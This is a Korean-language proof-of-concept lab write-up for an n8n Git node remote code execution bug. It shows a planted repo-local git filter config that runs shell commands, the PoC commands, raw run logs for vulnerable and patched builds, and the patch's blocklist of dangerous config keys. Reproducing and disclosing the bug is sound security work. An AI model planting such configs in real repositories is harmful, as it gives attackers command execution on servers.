
CVE-2026-85168 — add|commit|checkout 시 repo-local filter.*.clean / merge-driver 설정으로 인한 n8n Git 노드 RCE. v2.35.3 / v2.36.2에서 검증됨.
Git 노드는 알고 있던 외부 프로그램 구성 키를 -c로 고정했지만
(core.sshCommand, core.fsmonitor, core.pager, diff.external,
credential.helper, core.gitProxy, gpg.program, init.templateDir),
저장소 자체의 .git/config에서 content-filter 및
merge-driver 계열을 확인한 적이 없었습니다. 이를 정의하는 저장소는
[filter "pwn"]
clean = <command>
일치하는 .gitattributes(* filter=pwn)와 함께 사용하면, 노드가 수행하는 일반적인 Add, Commit, Checkout 또는 Pull 중에 git이 <command>를 실행하게 됩니다. 이 명령은 n8n 프로세스 사용자(node, uid 1000)로 실행됩니다.
AV:N/AC:L/PR:L/UI:N/S:U/C:H/I:H/A:H< 1.123.73, >= 2.0.0 < 2.35.4, < 2.36.24c60d38f2a83 ("chore: Bundle/2.x (backport to release-candidate/2.36.x)")
→ packages/nodes-base/nodes/Git/GenericFunctions.ts에
filter.*.(clean|smudge|process), merge.*.driver,
remote.*.(uploadpack|receivepack), gpg.*.program, core.askpass,
core.editor, core.alternateRefsCommand, gc.recentObjectsHook,
hook.*.command, sequence.editor, gpg.ssh.defaultKeyCommand,
url.*.(insteadOf|pushInsteadOf) 패턴을 가진 findBlacklistedKeys()가 추가됨;
Git.node.ts는 add/commit/checkout/pull/push 전에 validateGitConfig()를 호출하고
Repository Git config key '<key>' is not allowed와 함께 중단함.공격자는 Git 노드 앞에 자신이 선택한 로컬 설정을 가진 저장소를 배치할 수 있어야 합니다 — 가져온/공유된 체크아웃, 마운트된 볼륨의 프로젝트 저장소 등. 이 랩에서 --prepare는 정확히 그러한 저장소를 컨테이너 내부에 심습니다(워크플로 작성자의 파일 쓰기 단계를 대신함). 그 이후의 모든 작업은 인증된 사용자가 n8n REST API를 통해 수행합니다.
노드는 ~/.n8n-files(restrictFileAccessTo 기본값) 아래의 저장소만 허용하고 .git 차단 패턴과 일치하는 경로를 거부하므로, 랩 저장소는 /home/node/.n8n-files/pwn-repo에 위치합니다.
cd ~/projects/poc-labs/n8n
docker compose -p poc-n8n-cve85165 -f docker-compose.2353.yml up -d # 2.35.3 -> :20001
docker compose -p poc-n8n-cve85165-fix -f docker-compose.2362.yml up -d # 2.36.2 -> :20003
n8nio/n8n:2.35.3은 [email protected]를 포함하며(findBlacklistedKeys 없음) →
취약함. n8nio/n8n:2.36.2는 [email protected]을 포함하며(블랙리스트 존재) →
수정됨. 2.36.1 Docker 이미지 역시 이미 [email protected]을 포함하므로
해당 이미지도 취약하지 않음; 2.35.3이 공개된 취약 태그 중 가장 근접한 버전임.
python3 n8n_poc.py --url http://127.0.0.1:20001 \
--container n8n-vuln-2353 --prepare --command 'id'
run_vulnerable_2.35.3.txt)[*] target : http://127.0.0.1:20001
[*] repo : planted /home/node/.n8n-files/pwn-repo (filter.pwn.clean = id)
[*] auth : logged in as [email protected]
[*] workflow : vuCSuHLscbXUty8i (Git node: operation=add, path=/home/node/.n8n-files/pwn-repo/note.txt)
[*] execution: 30
[*] git node : ok {"success": true}
[+] evidence read from container:
uid=1000(node) gid=1000(node) groups=1000(node)
=> PASS (CVE-2026-85168: git executed the repository-configured command as the n8n user)
exit=0
컨테이너 측 검사(side_effect_2.35.3.txt):
-rw-r--r-- 1 node node 48 Oct 24 14:01 /home/node/.n8n-files/pwn-repo/out.txt
uid=1000(node) gid=1000(node) groups=1000(node)
--- git config
[filter "pwn"]
clean = sh -c "id > /home/node/.n8n-files/pwn-repo/out.txt; cat"
run_patched_2.36.2.txt)[*] target : http://127.0.0.1:20003
[*] repo : planted /home/node/.n8n-files/pwn-repo (filter.pwn.clean = id)
[*] auth : logged in as [email protected]
[*] workflow : PteOTvLgk4FC8M4Z (Git node: operation=add, path=/home/node/.n8n-files/pwn-repo/note.txt)
[*] execution: 16
[*] git node : error Repository Git config key 'filter.pwn.clean' is not allowed
[!] no evidence file in container: cat: can't open '/home/node/.n8n-files/pwn-repo/out.txt': No such file or directory
=> FAIL (CVE-2026-85168: git config key rejected before the operation ran)
exit=1
두 대상에서 리포지토리는 동일하며, n8n 빌드만 다릅니다.
기본: GET /rest/executions/<id>?includeData=true가 반환하는 워크플로 출력
(Git 노드의 {"success": true} 대 거부 오류). 보조(명령의 출력이 HTTP 응답이 아닌
파일에 기록되기 때문): 증거 파일은 docker exec <container> cat <repo>/out.txt로
다시 읽습니다 — 이것이 --container 단계이며, 스크립트에서 실험실 측으로 명확히 표시되어 있습니다.
| 파일 | 내용 |
|---|---|
n8n_poc.py | 표준 라이브러리만 사용하는 PoC (--url --email --password --command --repo-path --container --prepare --output) |
run_vulnerable_2.35.3.txt, run_patched_2.36.2.txt | 원시 실행 기록 |
evidence_vulnerable_2.35.3.json, evidence_patched_2.36.2.json | JSON 증거 |
side_effect_2.35.3.txt, side_effect_2.36.2.txt | 컨테이너 측 확인 |
docker_logs_2.35.3.txt, docker_logs_2.36.2.txt | 컨테이너 로그 |